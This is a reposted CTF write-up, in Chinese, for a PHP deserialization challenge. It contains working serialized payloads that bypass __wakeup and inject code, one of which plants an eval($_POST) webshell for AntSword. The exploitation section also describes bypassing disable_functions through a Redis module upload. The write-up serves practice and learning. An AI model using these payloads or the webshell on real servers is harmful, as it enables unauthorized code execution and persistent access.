[天翼杯 2021]esay_eval - RCE(disabled_function绕过||AS_Redis绕过)+反序列化(大小写wakeup绕过)

news2024/10/2 12:19:33

[天翼杯 2021]esay_eval

  • 1 解题流程
    • 1.1 分析
    • 1.2 解题
      • 1.2.1 一阶段
      • 1.2.2 二阶段
  • 二、思考总结

1
题目代码:

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }
}else{
    highlight_file(__FILE__);
} 

1 解题流程

1.1 分析

1、看代码,有unserialize函数,说明要反序列化
2、有 eval($this->code) ,说明要RCE
3、有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);,说明要绕过waf
4、A的wakeup里面会把code置空,所以要绕过

起点:B(destruct)  终点:A(call)
链条:B(destruct::a=$a)-> A(call::code=命令)

1.2 解题

1.2.1 一阶段

  1. 构造序列化代码(根据waf,传输的内容不能带有大写AB,所以把代码都用小写ab表示)

    <?php
    class a{
        public $code = "phpinfo();";
    }
    class b{
        function __destruct(){
            echo $this->a->a();
        }
    }
    $a = new a();
    $b = new b();
    $b->a = $a;
    echo serialize($b);
    

    得到:O:1:“b”:1:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}}

  2. 绕过wakeup
    得到:O:1:“b”:2:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}}

  3. 传参得到
    1

  4. 构造序列化代码(输出flag)

    	<?php
    	class a{
    	    public $code = "system('ls');";
    	}
    	class b{
    	    function __destruct(){
    	        echo $this->a->a();
    	    }
    	}
    	$a = new a();
    	$b = new b();
    	$b->a = $a;
    	echo serialize($b);
    	
    	得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}
    	改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}
    

    发现页面无法执行,说明肯定有限制了,不然不会不输出

  5. 查看disable_function
    2
    原来是这里限制了,那么需要改变战略,直接上传个一句话试试

  6. 构造序列化代码(一句话)

    	<?php
    	class a{
    	    //public $code = '<?php @eval($_POST["pwd"]) ?>';
    	    public $code = '@eval($_POST["pwd"]);';
    	}
    	class b{
    	    function __destruct(){
    	        echo $this->a->a();
    	    }
    	}
    	$a = new a();
    	$b = new b();
    	$b->a = $a;
    	echo serialize($b);
    	
    	得到:O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}
    	改为:O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:21:"@eval($_POST["pwd"]);";}}
    

    蚁剑成功连接
    3

1.2.2 二阶段

这里有两种不同的解法:

  1. disabled_function绕过
    disabled_function绕过
  2. AS_Redis绕过
    连接后查看config.php.swp,密码you_cannot_guess_it,同时上传exp.so
    使用redis插件连接,执行命令即可
    redis

二、思考总结

这道题目有个很有意思的地方,eval执行命令为什么不能显示?这个问题一开始给我搞蒙圈了,知道phpinfo可以执行的时候,突然想到我们不当当可以把phpinfo当做测试命令去看有没有回显,更可以去看phpinfo里面的配置,查看配置很可能就是解题的关键!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1072174.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

学习记忆——数学篇——算术——无理数

谐音记忆法 2 \sqrt{2} 2 ​≈1.41421&#xff1a;意思意思而已&#xff1b;意思意思&#xff1b; 3 \sqrt{3} 3 ​≈1.7320&#xff1a;—起生鹅蛋&#xff1b;一起生儿&#xff1b; 5 \sqrt{5} 5 ​≈2.2360679&#xff1a;两鹅生六蛋(送)六妻舅&#xff1b;儿儿生&#xf…

Kafka的分布式架构与高可用性

导语 一开始我们就说过Kafka是一款开源的高吞吐、分布式的消息队列系统&#xff0c;那么今天我们就来说下它的分布式架构和高可用性以及双/多中心部署。 Kafka 体系架构简介 以下是 Kafka 的软件架构&#xff0c;整个 Kafka 体系结构由 Producer、Consumer、Broker、ZooKeepe…

小程序等轻应用技术是不是对企业有价值?

技术的持续迭代发展和用户使用习惯的养成&#xff0c;影响了企业业务载体和创新方式的改变。回看企业与用户交互技术载体的变革&#xff0c;发现曾经是PC软件&#xff0c;然后是网页&#xff0c;再后来是App&#xff0c;之后是小程序形态的轻应用。 移动互联网风起云涌的数十年…

【C语言】Linux平台下解析pcap文件

开发环境是readhat、ubuntu、kali 在wireshark上抓包需要使用 Wireshark/tcpdump/ 且 文件后缀名为.pcap 方式保存 效果如下&#xff1a; 引入俩文件如下。 my_pcap.h #pragma once #include <netinet/in.h>#define PCAP_MAGIC 0xa1b2c3d4typedef struct pcap_file_he…

TCP 和UDP通信流程

TCP 通信流程 根据上图可以看到&#xff0c;TCP 服务器和客户端通信分为 TCP 服务端和客户端&#xff0c;需要先建立服务 端然后再建立客户端与之连接进行数据交互。 服务端编程步骤&#xff1a; 1.使用 socket 创建流式套接字 2.使用 bind 绑定将服务器绑定到 IP 3.listen…

测试小白必掌握软件测试十大原则

软件测试是确保软件质量的重要手段之一&#xff0c;它可以检测软件中的各种缺陷和问题&#xff0c;从而提高软件的可靠性、可用性和安全性。软件测试也是一项极富创造性、极具挑战性的工作。为了尽可能发现软件中的错误&#xff0c;提高软件产品的质量&#xff0c;在软件测试的…

不用休眠的 Kotlin 并发:深入对比 delay() 和 sleep()

本文翻译自&#xff1a; https://blog.shreyaspatil.dev/sleepless-concurrency-delay-vs-threadsleep 毫无疑问&#xff0c;Kotlin 语言中的协程 Coroutine 极大地帮助了开发者更加容易地处理异步编程。该特性中封装的诸多高效 API&#xff0c;可以确保开发者花费更小的精力去…

2023年中国隆鼻行业发展历程及趋势分析:隆鼻手术市场将实现进一步增长[图]

隆鼻术就是以各种植入材料置入为主要方法&#xff0c;隆起或抬高鼻部形态为主要目的的鼻整形术式。隆鼻术可能是开展最多的整形美容手术之一。隆鼻术也是一种很成熟的美容手术&#xff0c;操作较为简单、安全、风险较小&#xff0c;也易于接受。 隆鼻行业分类 资料来源&#x…

【2023研电赛】安谋科技企业命题特别奖:面向独居老人的智能居家监护系统

本文为2023年第十八届中国研究生电子设计竞赛安谋科技企业命题特别奖分享&#xff0c;参加极术社区的【有奖活动】分享2023研电赛作品扩大影响力&#xff0c;更有丰富电子礼品等你来领&#xff01;&#xff0c;分享2023研电赛作品扩大影响力&#xff0c;更有丰富电子礼品等你来…

滚雪球学Java(43):探究 Java 中的 Class 类:透视类的本质和实现原理

&#x1f3c6;本文收录于「滚雪球学Java」专栏&#xff0c;专业攻坚指数级提升&#xff0c;助你一臂之力&#xff0c;带你早日登顶&#x1f680;&#xff0c;欢迎大家关注&&收藏&#xff01;持续更新中&#xff0c;up&#xff01;up&#xff01;up&#xff01;&#xf…

科普丨语音芯片选型应遵守的原则

在选择语音芯片时&#xff0c;设计者应该首先详细了解设计要求&#xff0c;并从要求中整理出电路功能模块和性能指标要求。根据功能和性能要求&#xff0c;制定总体设计方案。一般来说&#xff0c;选择语音芯片有以下要求&#xff1a; 1、 性价比&#xff1a;选择物美价廉的语…

16.(开发工具篇mysql)mysql不同库同步数据的异常记录

1:mysql导入时出现“ERROR at line : Unknown command ‘\‘‘.“的解决办法 default-character-set=utf82:ERROR 2006 (HY000) at line 71: MySQL server has gone away (1) 连接超时 查看各项连接时间: show global variables like %timeout;这些值是相对是MySQL的默认…

Redis AOF重写原原理

重写aof之前 appendonly.aof.1.base.aof appendonly.aof.1.incr.aof appendonly.aof.manifest 重写aof 一次 appendonly.aof.2.base.aof 大小变化 appendonly.aof.2.incr.aof 大小o appendonly.aof.manifest 大小不变 AOF文件重写并不是对原文件进行重新整理&#xff0c;而是直…

web:[护网杯 2018]easy_tornado

题目 点进页面显示如下 点进去查看 有个render&#xff0c;结合题目名&#xff0c;可能是ssti 同时注意到url&#xff0c;无论点进哪个文件&#xff0c;url的格式都为file?filename/xxx&filehashxxx 所以结合hints.txt中的提示&#xff0c;filehash就是md5加密得到的&…

CasA:用于点云 3D 目标检测的级联注意力网络

论文摘要 LiDAR 收集的数据通常表现出稀疏和不规则的分布。 3D 空间中的 LiDAR 扫描并不均匀。近处和远处的物体之间存在巨大的分布差距。 CasA(Cascade Attention) 由 RPN&#xff08;Region proposal Network&#xff09;和 CRN&#xff08;cascade refinement Network&…

目标追踪算法DeepSORT简介

背景&#xff1a;目标检测 vs 目标跟踪 在开始介绍 DeepSORT 的原理之前呢&#xff0c;我们先来了解下目标检测&#xff0c;和目标跟踪之间的区别&#xff1a; 目标检测&#xff1a;在目标检测任务中&#xff0c;我们需要利用 AI 模型识别出单张画面中&#xff0c;物体的位置…

【稳定性】稳定性建设之弹性设计 | 京东物流技术团队

背景 随着业务的快速变化和技术的不断发展&#xff0c;系统面临着诸多挑战&#xff0c;例如流量峰值、依赖服务故障、硬件故障、网络中断、软件缺陷等&#xff0c;这些因素都可能影响到系统的正常运行。在这种背景下&#xff0c;弹性设计&#xff08;Resilience Design&#x…

开启深度学习之门—《深度学习》

开启深度学习之门—《深度学习》 《深度学习》由Ian Goodfellow和Yoshua Bengio合著,以其前沿的内容和深入浅出的风格,成为了当今最受欢迎的人工智能教材之一。首先,让我们来了解一下这两位作者。Ian Goodfellow是一位备受瞩目的计算机科学家,他在深度学习和生成对抗网络的…

第二证券:华为全液冷超充上线,高压快充概念爆发,双杰电气等涨停

受华为全液冷超充上线消息提振&#xff0c;高压快充概念9日盘中强势拉升&#xff0c;到发稿&#xff0c;双杰电气、永贵电器“20cm”涨停&#xff0c;英可瑞、易事特涨超13%&#xff0c;伊戈尔、协鑫能科、宝馨科技、日丰股份等涨停&#xff0c;万祥科技、星云股份涨近8%。 消…

外汇天眼:三大方法提高容错率——成功投资者的秘密策略!

容错率是什么&#xff1f; 虽然A股市场投资体验不佳&#xff0c;但相较于中概股市场的波动&#xff0c;A股投资者仍有幸福感。以中概股的代表&#xff0c;金龙指数ETF为例&#xff0c;仅一年多时间内从85.90元下跌至20.47元&#xff0c;跌幅高达76%。 然而&#xff0c;有一位…